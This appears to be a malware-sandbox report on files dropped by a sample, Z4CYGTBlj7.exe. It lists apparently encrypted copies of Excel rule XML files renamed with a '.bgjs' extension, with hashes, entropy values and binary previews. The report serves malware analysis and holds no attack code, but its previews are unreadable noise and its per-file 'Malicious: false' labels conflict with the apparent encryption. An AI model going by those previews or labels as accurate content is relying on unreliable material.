Preview:	<?xml..V..k.....`....].El..3.Q..l..A$e..;(.VQd.#..<M.n..kx..ts...r..Y.}...v.3.]N...~.M7.=R....X.u..4z.0...N..#....d'>..B.$.....w...f.d.B.q.D.9.....w.....>J.x.3....>....i.Rh.a.v....\...F............".0s.I.rCv%]..FhE...^U.h.W..J....8P..&....};...'...xg.S..V3....<.......... +Q.3.[.a...].JT..M..'.f._...$..y'.6.'...c.5..+a.B..]M..=.+..S@.}...q..z.-..xh'..2!F..~F...b...S.8.C.X-\|jX%jkZ.....~.X....y.y4.j....y)...H......,.B. ..}....J.d.G.o..cI.u.SW..LyB. _.6.EG..G..\|#T......r.j.^.N...rq/....Yzv\..p.%.m..U..O.0@..]t..3JW.W.mt.....l....N..,.%?.5..c0...{.u..v\.d.w....W%v.%.......V.6o.>.^..3....fz......r.0.p.....7/.'...q...~p.h.J............n.....k.......+.Q..l....j...$..&.%`.v....Gr.x.::m)....f&..}t~Q...\|Fh...0h..3._?P..Ip.......k.wh.p~.M....}v.....%u.=.a.s....b.pQ5.%.\.W=.-6n.....UE;.-0sOC.....B$...u....@.1...Fh,=.._0nZ.A.W.N}..B...]..qMe.>^.......\.+..;"/........"z.\v....:..?.`..=.........7......B.<...8...r.F.4b,z.B.[.q.s.0 f.x)Q.,...D...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.894011619850562
Encrypted:	false
SSDEEP:	48:CwqdgPLLTviujzok/rcJRt7WSONUNFcSAUmD:CgDL2uvRcJz7WSBd+
MD5:	59DD4EC0879E68A0ECF83343688FC1FD
SHA1:	9D519572F8D69017CB6C9330035D0DBA9426763B
SHA-256:	F239138FEBDD06055C3D8B320041D96356292A76FF62CFDD9237698F9963975D
SHA-512:	7E33FF23452FACAB1438000B4D44E35E5F8A10D5A15356D0A9528439BEB8EABBA82614051D6466E98E37979CB5855046DA0B1AAB28E73556467CDFAB97E96108
Malicious:	false
Preview:	<?xml..z...i.a\9A=...l.e..R}z.Q.y...Q.A..5.()...Q..d.8....:He+H.u.3..lH...\.2Y.Y...s......B#..l....^y0];:L.>...,$3S.:.Y..U_.K.1....V...Fx._+.......W'.5..i.T...:..T....i.K.e..jH......xa...b..g...@..Z..+.m....b.7.`.....2.w..TR.p.j<..~.I....w..$...iVR54V...W.8.....8A.....`.T.o..W...n.j..R%..}HxI..tK."e.A.J.....r3..d.P.?G.....phS.)..$.O...2.{....Z..Ig.1.p..M.$H.&..m.u>..LQ..P.09......Q7.......)a...V...-...<.5d..Ck.8.....E6z.x.A..&Se....9Fy.R..F..$-U.........n.b.f...!.t]r.$Cm..%.......RF..L..+...D.)DO .-.l..Q...u;Zl...J......].M(7..$....y}.~..@.R.2H...G..NR..n.....V..H..(.......F6)[... .[4..N....OVuu[..7.h.j...H.y'....v.H.Y....X.8..<=..2Yo.U0......z......a..-R..... .LE... d...hL..P.Ed..g .2c....chM&L.r!....\....H...x.>R.4....%."y(.."...?X.I........zN7u.C..@7........B=...~_r.h..Y..d..U..... .P[g...:.6....mC.y..re.:.-.P..:..(^..<.......R...O..=..KGY.M:,.tH...........y.......z...\|..O.f}/R...a......#v......E......r.....'.j.nK.9.....K.r(.9b.L..J....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.625130882139283
Encrypted:	false
SSDEEP:	12:taJEzTv5RHj9OuJoL5kmB7QgIpdyObT1ljjataC8T+hgVFRKEuVDQqy3ZUQsciik:UKXHjZJodkmGaObT1lf4o+WLuSqyJJsX
MD5:	7FAB223492F59966120853E092CD62F5
SHA1:	E0E47167CC632AF566B7F08746E485700DB42DF0
SHA-256:	5502B878E0E819EE0C64E8742179518B7D60F0CE125175B96C9A12303751CA5B
SHA-512:	3E6BDE060A90C6DCA1C062F6CDE4ED6430CF286D1041DB1E1B4EEECE2AEAF02B7832A568FC1FBC01F60C1EF27E868E28A036539ED68C37C779A368658A7D21C1
Malicious:	false
Preview:	<?xml"e...W..Z.-].7.z..%..T...X.4~-..3..z.0q....bh.l...>.v3..=Z.V...m...K..c.3N..b.#.&....JL...He......kY..p.....fb.LM1...o..o.k...CR.l.v..Q.. ..i8W....`...z.O.....AE...W.X.;..r....zb.(.Q.28j......2dom_.".....K.... ..,..E[.b...C..bWP..rS..{:5.-E..T>....u.............nio.60v)..B.V..l..)AUj..H.Wk.j....x#......b..:cC. `R.dc.]il. ..)T.a..u..........Y..S..N)Rb.Tu.m..Y.....mD51...h...u.].(.....<.[...1!...s(}L]..[vG1..6.......>Z.2..d......t...V.44%.S.T.G.V ....v.,d.z...q.q<..b=&.2.(...g^..LC....;.+.NC..m...D.........9..ot...`..I.<.V....-:.V.Wi..%e.#$...;..=<.).<~.y.T......67...&]....-#....7P.u$.........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8809049571280365
Encrypted:	false
SSDEEP:	24:IxAV3hUmHqbxqbfpKeTPb9IfEns5g8re3oUHXrvu9wY7SDyiAyvHZrBUYGewCsbD:eUh8bQbpKe7bWcs5gPoU3CVS5vDbRmD
MD5:	5308CABFAE5C2D871D5DEA21F181C702
SHA1:	78E38FB45D05F98CCBF1DFC13D852740845243C1
SHA-256:	1D59C4F980474EDED711BE923E479EE26BB588D22F9331CA5EA150868506D4B6
SHA-512:	B3F248317A3DE5EC23CA6196467EDF398B77A675DB691B23AACB954B3BDA7FAD709208089CC0A49A15259DF96C3792D9205FA4C16DDD8AB0FB1F0FD13637A475
Malicious:	false
Preview:	<?xml5..#..ZA.1.-...y.g@..@V.....%^!.BH.Up..%oo.0..A..d9J.Y.o..M1N9+...=..j9.B{....Z.LG.....j=kM..^...y.......o.....\....0:.....T!...:..d.....Qv\|.........}....?['.......p.....4. U/\<{.\..G"L.{...8.q?..C.......v.......V..>...l]@..6rE.KJ0,..S..F{B1W.&i..i.4.^g..2%....R.O.?%.~.....}Ezm..z....p.E......_6....W....@a4\.A.KZv>;.......\...@...R.7T+..k.&A.2>..4w..m....S}.).....(Y....m._.}..?2$-.ha[...X......;......T.......D..~0.:g.ZlZ.s..j%'..T.Lsw.....\8..-c..ft..Q).0.....D.."h.OZ..'..4e.,..?.++....^...y.(C.F....7b.Tp6.......Tp...G.ii..k..'h...km...>........b...9..../...<..B...c..+\%...j4.. d."...../..0q+....%... ..,.. ..V.W.2.J7<...Df.v.m.u.....z.Op..M...vm..A...Y...ZQ.=..k.h;.],....z+..(.....y.z....b..Qup..;twI.d.......,._L...6.2 h.A....=9......Wo. nY.;.$..B..1.M6.?..O.O....Ce..%=Q..i.?q.#.,V..w..T!..f.X..O..`.'.r.0..2.I.....a.4..y.@J...]..!..@Q.......u......U;....)&)...~..........CIC.a...,..v.Kq.V...9 .. ..nW.c..KT.K......Q..U ......Lc.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.899951062093808
Encrypted:	false
SSDEEP:	48:0A5Y7tWjjv1qflytpeMHpygvxaMRiAIM4Dmd3mD:0A5YJWjz1qf8eexhRZ3+
MD5:	240E8A1DAFB45F3749F51EF03D383788
SHA1:	EABF4B709D711AA6D91073BC72178E30D425AED0
SHA-256:	2849E103ADAB4A192FB6FA523EEDD40AB7641955F43D8E86F7D58EB9269CDC36
SHA-512:	ABBFCA3F1F9408C1EE75779BE820FCB4E65482BC8D50D879FD4F28D517648079CC5AC49A4E1E24EDB1BC0B77F55B5E791727E6AB5AC05FE2D2D2EC65B5A3A287
Malicious:	false
Preview:	<?xml.E/u.P.....X0T....~.f.z.......(..$M:.>L...u3...I..,c\s.1..S..Oe\|.n/. M'.....0.Sx.=z....Y2.h..%.3..^oZ5^p.Gx. x..V...q?,...\..$.(. .....%.$.\z...^...........)...a:..G..K.....Mwb...B......i.6y.J.k..4:.`.e.d...wv.sj)....[.'\.3...s9....M.]?.....bw...^.y.g.......h./Zb.%.....W..T...?U..=..1.h.YNe...(...%..).!..CC..p..:.V..Jwd..r.w..\}....d....k.\|..b.;.2g"K...J$l....f.[t.l+..^4...b.H.T?..cBi/..>.[y.W.`..w.5..C..k......{{c..x].B\..Jz..;F.hiOOY..<.u.0.........o5z..X...e..K?9X.T.[..h...iJ.,..6..9.z...?e..P..8.\>...4.../J...hHF.f%6.VJ...-{T5Y!Z.ej......E......G....`..87.)C.h.4.%7w..R.&... . .........DS..yb........m.G...?Z.Sk.Y.Du_R6"..A.......R..._..H.......`n5.....1YO<..s..i.~=......h..oi.M..j.. ;b..wd..lj.../.G.:..v..gn.Q...g9.~.k..V'}..lE;[.E.3Yg.../.C....T.B.n.E....w.}......8\.3.L..F..K...&j.>AY.....bV&."Yz.2.&..].x5+.LuzF....wH.[..f.b...s`.}.\|....P..T6.A.Gdn..$q.s).<...._.X3...m..Y.4._....uE.....J*.m.g.S...~i....5.D..D..U...!.8P...R..%

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8999948575512215
Encrypted:	false
SSDEEP:	48:lEfY+OZRF8o/dV1YeWYmVKhVq7EBRbcgV4cmD:lEfY+KRFr2eW3S+EPBV3+
MD5:	9B30BBB809FD0D10B69F840CE8403636
SHA1:	85898E6589FD3BB9549837E7B39343FB2F19D06D
SHA-256:	CF29928CCBC0670BC34F83A12C111B574925D67FB00FE15031AFE3BD1696ED0C
SHA-512:	642E28A678FBB9E7A2FC384AD858AFC17CB73D1FFBA23A5AC400F085B907FFFF4F6F9AE908571421D1A080943316BA6F29B8D606C0EAC973F3CD2E8FFE844961
Malicious:	false
Preview:	<?xml)..~..+.pL..F....H.S...Bj...{.............aFg....K.. .l....F..a....Pb..~.E......#..Mp.....]..;'c.MsH.c.....&....eu.....3._.W.....b;..q4...m.{.5.R.....<...7...%n..(O21vn<......J...N.b....w.1v...:}..........?... ...e.:...B\|.]a.......Fo..C.-U...i26...Db..9.R......y.u.s...8d.h..F.[...J2....i...+l)9...7.....3...\| /v.x..y...... ..d"!..[..~v.s.MM.O..z...r.....P.L..}...K.9q.i$'d\|.LNm}T.v.>b.cR-8.N..x..P:r#{....;..J0.:.T.zC&.....?...){M:...M......Yys...W#.....O...5.b...q....5.' .......;Y..@"...Y......=X...\u.(..#E,.W..-...h.;..Ud..&7....4\Gdv.\|.._U.q4....h=[....U.....3...y'..p....a.....8....Og..(.P.g.f~9....0a.T..../h.y].f.X_d.}..l..+..9.'.%&..AQz.}...!.n'.%...vb.x..4$......8.>j..K..I-HNb.w...[3q...'/\./.o..A..IC.......FT.y..'.K!..V....2...w....3y...p......9.....).$....<.L}.....nlEE'w.q...V..n..m.g...f.OlDE...\!.wIg.,..s......];.3J<s......5.}z.].SIz5....zJ...\t`"...9.KL.n..ufek..C.k.j...cy5w..8gFk.U.O8V..QUg;4...8....Y.'+..>0...6^\.-...... .Xq.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170021v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	7.787562115642741
Encrypted:	false
SSDEEP:	24:LDJk97sotXqSv2FGJuJXVxM6i6Bq+6C4gwCZnSYjtosbD:LDqApjGyVxM6nwcwOomD
MD5:	B0726A49B4DA9E75E88378E7B328154E
SHA1:	D141184B7EAA108499427498A808D3B9F4228802
SHA-256:	C27F5820208D513288AA8B9155ED44EBC70F4BC68E0E233A01F256DC22FAF8FB
SHA-512:	C2C845FBE18000D5CB2D257D8A0D479D3D634FA15509FAA73BAB55A0387F6E6F5DE52890DD192262FD59F3191C10081B78DA7316B71ADF6B893494416AECE365
Malicious:	false
Preview:	<?xml~r].}2..."...4.._=.\.(....>.Y..m..cv....L.d..~..\d..qD.t.:.dtp.50z.s..c2_..{..........8....;....R.K.P..c.!@rJ....D..,.V+...!.....z..U.....W..kG...\|...C...}d........N...,.Q.R.;...C^]..:b...-.yIx1p.R.,?...K...9...wo.. .5...\|....&l.....!.c(F...../.u.q,r.P1.,x..pQ.U.\|7.........O.E..d.7..g.[....T..^....Pm..........`........Iv.o..`..#..g....o.Z88......Lc=. ..."$....{z.._t..)+.....,.g..M....,GL......R.b}!-....O...".....bq.x.0a...H2 ".^N.pF.p./$.a..;G.~...r..5^wz........1n..I...5kceU.....\|8c.....'..i7......^aQ...jb..@...e.p..aH9#K....{.+..;G...9Z.+b....`.f+.a....../....l..LK^.....P..G...O...3.~>J.....e......~..n.x..@...b.a.$.1g.......7.G.w.+.C}&]^h...XY.pO...I..swC.{.$7.~Q....3H.b..`7...1..Mm..).<.....>..S....SQG.I....:`...[ku.'...A.../%5.S.............1o.F.........>z...xf..ju..s.^.9.......q.4j....y>.U.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170022v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	7.7715111654740525
Encrypted:	false
SSDEEP:	24:41AJL+Qz+k6zrAJZfrfXcJZP9hYeBe74TsbD:sAN+Qik6faRfXGHYgmD
MD5:	C0C4D43260C80A4795CF205C8790F757
SHA1:	1ABB9340596C7BAACABA3C2EAB512D9FDE741CF3
SHA-256:	30175B6A8CFC37498B156AF09C2488A9A24E00EFF900DF0552AEDE23BD312642
SHA-512:	E97881C47C28BADB839D79AAF9101EA0C76F0FBFE8CFA04F4A58E8BDCFEABAA999C485131A080E857442C84531E875B9CFF19E3CDBDE12CD5A18ADD6E6285F83
Malicious:	false
Preview:	<?xml.Sm,..!M..7...s7..-........>....}..?8./tv...4..C......P.o...oI...........b`..'J8.R...}..1.z6..q...]..%g.v..Q.j.[b....... ..x..]'...i.o@.cP.l..P...\-.......;'.......f`..o...{%$.[!.H.."{R("7...c..T.}aZ...........H5J..u.S....'p..v...n.L....B.,.....-.....+.<.........MU<.fR...".=.8....H.{.-.)...........t..C..nd..5.L..`h...Z.._.pQ4...;..t<6.z......!"3.v5..y.^..T.e...l.;h}.\|B/M.X...=.}..`a.....m....8..,...=...LOr].\|I......?..W'.1..q.>O..tn..-b\...)x.$e.3.E;...!...].C?......5%.......PM....T.%....f....8.(rYQ&.......X.....!'.....h....;.)e.8.J...mq`.>.{/.{K.,.....c\r.o.....j..u.\|....B\x.%..M[..A.?.c;.u.[eL...\|....v..7._.?....e...\|q.R..6..(_......c....4.j8s.e>.rI=<F...'t.7.T.k...X...}h...da..........P.......mi..0W.gp...f5...W.W...D..`.>z6'......c.M.NT....x.....nc.x`.U.....-X...O..q... .k]LU..3..~s..g.&....i8..c7."..dH_?..=;I(.....ydh.#.E]..+..}..=z.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170024v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2312
Entropy (8bit):	7.906541157102711
Encrypted:	false
SSDEEP:	48:r6QEJKYGL5McUY46RTrUpBB1MIpTo91e0ahmD:eQEJhGLa3oTeB1MmUK0ah+
MD5:	9EE8E2EB1A7A4A2069CB1E8FD1F3B02B
SHA1:	74B5839A60A769CC950F1A575834DEBABE397232
SHA-256:	B5F1CDE19950DFB5C7E38A285DB35B1C0F442F5591A648CA863FF0F9B2F34745
SHA-512:	4E49A521D5BB11C6996583BDFE5132B140358BB918521673A5B2896AA33586C315A73850DBF132C5DB644F4A48FE25F9E8B4DB5F31311EBC0F990812408844E9
Malicious:	false
Preview:	<?xml.[.5.B..Kc....Nb....a..v.F...D[g.R]..~.zN>D..E..KPMSp...y#!...A..Q..R.i..~......"....i..z..K....X..q....'.[.5..w..K..=...y...............i.......N..X..H..t...z.../..........Q...OC..~/.~...hM-.4..^3.d0.g......g;-c..J+..X 'vvE.%....JlF.......7........o......z...P.{.....T...$...J....:.h....A.x.J+.Lx=.....c/....=....$[).T../O...s<n.D..a.R..-..F.[.!.."9<.6.n.....0.;`r./...".S....G...$...l...p..l....7.. ^.wI..M?g z..].../M......'..^.v.Y:.{....X....]...Iy.,.`..$.f....@h{..A._!6....I8.xy..(..<X.UW(p..U..\|..4.D._..p......L...<$.\..\|./_Y..Bo\|LJ....M..'.@P.e.:aAd._..T\|~.......s....6.Y...N-....._Q..e...B..A\.C../...(+..'b.1r.....sF]m.V...r9..F./?..t.V.f(6.........F..H....~..c.wYEqC.+.....}U.#....%$....Q\|b...w2..r.S.;....=..)O..sl8';\..W.{..\|n....j....F.......(..t+.x....$.3....-...q..2.hP.zvRZ.E......3.N..5.3-.F#.s...+..`...@.k.$.M2..zM.....;7.0=...I.u....[o.q=....n..K".c*.(.C@..i.....g....R..o.....U...:..+.Y...p..sbU..VnI..[...i....eI..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170026v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.886172168720919
Encrypted:	false
SSDEEP:	48:fVUKAJ7nRsKaEDAHOJh84IEKWis1dH1hf8bbQrmD:jiOmq684IEKWisbH/fMU+
MD5:	A860F17E0F46096892E0D9B5502200CE
SHA1:	71A9BB73B2053249FF5BBF499A02644815B31DCE
SHA-256:	5CF395E7E488AE87E9FCD6A83686378A7105B3FA1DCF03CBD904AB0ED81B59AF
SHA-512:	F6578FE00E35B6DE533EB5B4B2D4AF83D2F5806319B87CF64586DF49D03AD6A1AFAB8BD8CF9156879EEAD64DAD14E84FDFA2E11269FBBA7581386665A107CA2A
Malicious:	false
Preview:	<?xml...,.......e......5....c[..^. n....Ft.b.'[.8K?..u...{..!:L...^..-Xf...@.+k....$..X....... ..W.g.v.'q.o.U..K.!:M.m.b.../..L....jJ....P.zf{.2E..j0.#....+.Zh\3..y.5...Ei....x.#.~Dq...+.jHwX-..V.>nQ....Gi.rJ.8g..........d...U.]q@.....De....MM.l.U .S.N.S...^.C.A.M.).2."".......e..f=.O...\.4o(r...~..zY!....t.........~.1"j.....u..@..J.>g.g:~.c.V.n...t..<J...8..w.....j}.<....c...8H!.L.p=.`g#......K.Ed.SA..."h...Y.%...o.4.\|!.....j..E..Zb..,. .Y....O..s#C......_;..-..fG....`...f.:..`.......2..6.\|.tj..(.D1.4.wtVN...G..d........c.k.&o..4..v:.j...00....W....8.,&...N... ......6...l.n.v.g.G..Q=..l.5.[Z..&..T2..bU..pArIr...$P.9..#......1F"R._H.........?.&N_q...2..B..k...IAQ.iV:Z...v......o.......F.C..{.3&...y.....e..O.M...5....<...&..a..'.~.~..].>...j.P.f.. .,2....f.M...E....(.*..nf{...]._X.s.......bp...I.R%/q.....\|z.,.....M,Ck...D=d;.....{..y..p.".J..>u;q..5...M.:.'C.".w..x)..=k....t.Ur....... ....Lc=.^.x.\|\|.0.!n.R..o.?6.G.....%..i.#...[....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170027v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	916
Entropy (8bit):	7.755364667075723
Encrypted:	false
SSDEEP:	24:dLmQL12si7yh5Wg6t3qZkuiwg90RShghhP1Z2rOEM7ATT4sbD:dKQL129+hMg6sXyCRShghMiS4mD
MD5:	C033F5234191D452CC39A98393FCFF2F
SHA1:	7CCC4D04CDAA5E62431C10583F49EE2499539F82
SHA-256:	C554870E5BF931FF49C12DE2A02C4FEDC5F75746E4F6C85B50CA0C1F91A8A7BA
SHA-512:	3CF10B05520425DCEAA45D6C8224A2432AE6ABB73091BFFB58DF019484DB87EBFB96DC7FD2691CE5121B22DF109ED71E19F14506CC8E9308400E70DC0304A913
Malicious:	false
Preview:	<?xml.%<qEX...{8_.......[1S Y...[x...(..,. ..3!...m0\|;....8..\.b1...v..itq....xdWqF..].k..7..P.W..\X.p.........J.\........P.?i...dM.s'^\|0.k..TSNrV.....~.ZPn...Y./D.........{1..m........Q....S.H..P.....o.47..c..v.D(v..N5.&........lBP.....Qu.F..h...A.w,....S..3...F2r[..[....g....6.<....~.R..+..N.=j..\.4....H...V.k..sF."A.......?.>P...:.\.#...7..h....%-...s....Jp...V....z..S..I.%k...y'...6.A.^......M..\..d.I.pp.S.0.......:..CK)....?E..j.B.S..L)q..^... .D0.#^...g.2...E.3?0.A7............A.....}.t0.j..R.dEV.....^..1;5..H.....a....9ET.V.=.}g.......B.q..r...wER.\|....{V...[.EF....@\..f..."z`...#q.F..).9..../..s[\|W.>...o...>..a..;k.}E).S......v[....kn.S.0tU.Y:VP..a.<%K.:...y.0..`..pC.U..4.7.X..Y^F.%.D....#..u.........E...C.#.^.D$mr.~......0."...'$v.R..#..8....2.u.q.%..\..kp$+..*.+.z.@..N.%8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170030v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	887
Entropy (8bit):	7.771002478574282
Encrypted:	false
SSDEEP:	24:PooBFu4HDdRmt8M9IKBejvbsLE6wwWN3thJqFsbD:QoB1H/mtO42v4NQth6mD
MD5:	A23215B0AC47F3EA3F3A1A75B3FA056C
SHA1:	DE2D5CA64A811EDF4F31783DFB502488BD11EE25
SHA-256:	174EDEB0D9D3BD6E358243B50145B5A8665A15AFE671041043DCAC48EAB43572
SHA-512:	BB46F02E3843C29407A89523FD719C7931441FD9F354AC525F56D54B327F3D43B077F8D67654BD9C27CFA494C6FD9CE1AED38C38304BFD230668184DD603D1D7
Malicious:	false
Preview:	<?xmlbH~.....r>u..W#Xy.G._......rS...\J.~......5.....R.......k... .V.G.B...W.NxhcKJ.aZ...JG.9...L.\|...G....F..#.b{p..=......H....)..5... (.2PUV..g.R..z0Y.e.. .x..>.=q..F.^n\7.}\|.=.<....$Li............X.......Y.:+.......H.......#.7.S....%.O.S{K...u..b..:.....d./...f(..7..:]......8....y.D~.x.x.H.3.w..Ke....M.}..v..b.......0..%=h...QM...I[5...cq.A.{._.......5..N.v......my.U1.j9..N......n..k(..EZ.A=H....96............Xq...Hf....Al.;8....F..9&n....?9\...F...8..i.........d..7..P6....[.Y.O..7WP.-..wX.'f.....5.Bq."...N.=n^nC.@...\.....%....T:.....`...a.5C.o......W..N.w....Y...x..AMKn.I....HW..BK.dY]..r:QoO.....E..\|(...@....O...<..e..N.B.5..9m.X.NXeN_^..o...jig.{/..CxS.~hgZ....~3.....qk._ag/.Ht.....{+..... .`<.g....u..i?.....$..............nm%...].el.&J...._.(~.*q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170032v2.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	975
Entropy (8bit):	7.777496493625744
Encrypted:	false
SSDEEP:	24:WjKQPvNZrzYwTxR5nCIWwGsnqY8ikhUznGjB0V0mEXnERvVLxsbD:ZQPVZrzDT753GMqYcgnG9I05ERv5xmD
MD5:	3CD0376D856A8D50CC53009B0ED2EB7C
SHA1:	7C6EC432E24518452EAA20FCFB707AA649DF28D7
SHA-256:	53BD6F794BCB236F03FE3AFBF24A9D8EB2738B1BA9285AA70144C6FFA2EA1450
SHA-512:	E8E5F4D87A42B5C7B55970A485E153664164B44CC5FB4CDA2A5DAD14C2F6508E653E989EEF2331209CC0F8A4E8027542D85001D196A550C058E2E1BAB43485EA
Malicious:	false
Preview:	<?xml..0sF.ourA.2.{(.yPh.PYu.K.tw..d.SL..cIo]..<[9..W.8..z..(.\|.cI...B...J..4\...#;...Ph?&.....\|k......<\.....kh\|#.&......p.B.\^\..x.K.U.I7...v.h........U.T..._,.h.C.N.?.[...c.?b..Z.u...Y..E=..\|M.-../...D..E...;3..O..9..#..28lc....O$y.8j....<....;,...D.k.....-v.~....m..`5$.}:.D>......_o5q..b\.y{..^.-yo'.QHy..8.XnZ..+. .....P.O.-`C.......@T=&....w.k..C.... .".c..6.x].:....... ..b.4.^`z....h......y..j.EK.v.^...b`.c..0jb.n.......p~..=.Hu.......C..}.g..z..f.$.......3H.G.e...+,B`D..0....]^lX.0.n.......(\S!..A..m......m.X5.D.....m...C.[...k.R$<."PS............^..l.V:%:.9.F..\.&;CLT..w.D.z9.w..t.Zw.QR.....%R2.h<>P...P.~.2..X\|.O:h.vX...)@..2g...H[M..LA..E..(...+....".H.../.b.0x.8..C...K}xU......(.3..{.R.......=.$...5...D.......c=.suz/.@?-..z...'.x...}`.v...#.@....,~..U...w.M.K.....x-...GIK.<%1S8.(...#. ..ZU}.....u.Q.$.5....l......y..("..I....V[....`..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170033v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	719
Entropy (8bit):	7.69106960465134
Encrypted:	false
SSDEEP:	12:SQcmcjNzc1dLycXmBWXSSL3NprL2Agb0y3xg+sGjK57crxj5PSCH+UQscii9a:SJmEzGducXwu37rL2ATy39sGjX2JsbD
MD5:	226F1D715B52E85CAB3C66591079A35D
SHA1:	9AFCC5CB3654099751028846ACBA7E048472DA05
SHA-256:	D125B36DEF739927C967DBCDF7E898F21543FE86463B525C6652BE52974B0F0E
SHA-512:	9A4A9377E3E776E741756F9FA592B6CAF3A9EC83837548C0E757FBE6EC1DDCB19167D87953081026E9B354A622C9F38FE2CEDBB759495E92FFA1E7735F36F1B1
Malicious:	false
Preview:	<?xml$..:.).U{..nY....t......\|T!..q.1.....wZX..p.K.J?&.^.3...s.....t.._.E.vy.....t..;......"./..:-..u..7^<.-..6.t....Ww......S.T...l...2!.QN.hb\`....8......_.@..6..........mMW/1.Ao.@...:h)..RrHF}...h.."..C.?.m..K.&...j.L.p...<....)j>A.<.r./e..G.....~3i.....&.....H53.+j...&.<..^7..LC"..R...&..\|.. ..#8.n.....t.N...Q..zr...A,....Y..`.....m..e<.0.-..(_..Od..p..u.} .......7..\|.3.\|4..k....d..M..4OAj?...1...Jv.\..y......[.{....NH...?Y\|...v!..(..f!.........*F.`".$..3.:.-T...+..T.tL.......s...Z.....Xg.......k.g4e..`q2.J.V&..p..a4z..>=..=B5..-..1~9...+g..V.r..D.F..).#S..1@."....d..c........Eu......}....s..n,>X8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170034v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.775546712676005
Encrypted:	false
SSDEEP:	12:vgP7Lg3h+wf5+H4sC88N2FWKut0tt1TfxApwvHjbNmPc2pcPmyZuLVbA7OEuuY0b:2g3k+sI81FW+1+oDUf3LVeO3yJIv3sbD
MD5:	4E2CE090AA7ED464ACDFD39E9A981421
SHA1:	1168930247FE537C67B5E39A2DE80D8D8E255B5F
SHA-256:	3E858AA81AEE599A00E2F864A1F8F24DCDCAA94CB6D6DBD8D250AB2D9D30A833
SHA-512:	F90ED006BEF5DDE0422FE0F1CB2226234D6D54E17DCDA09778BCEE249DB23142DADDF9204184A5F7EA50C8CC312154B59F7BD49F450B13A1D803EC609DF25134
Malicious:	false
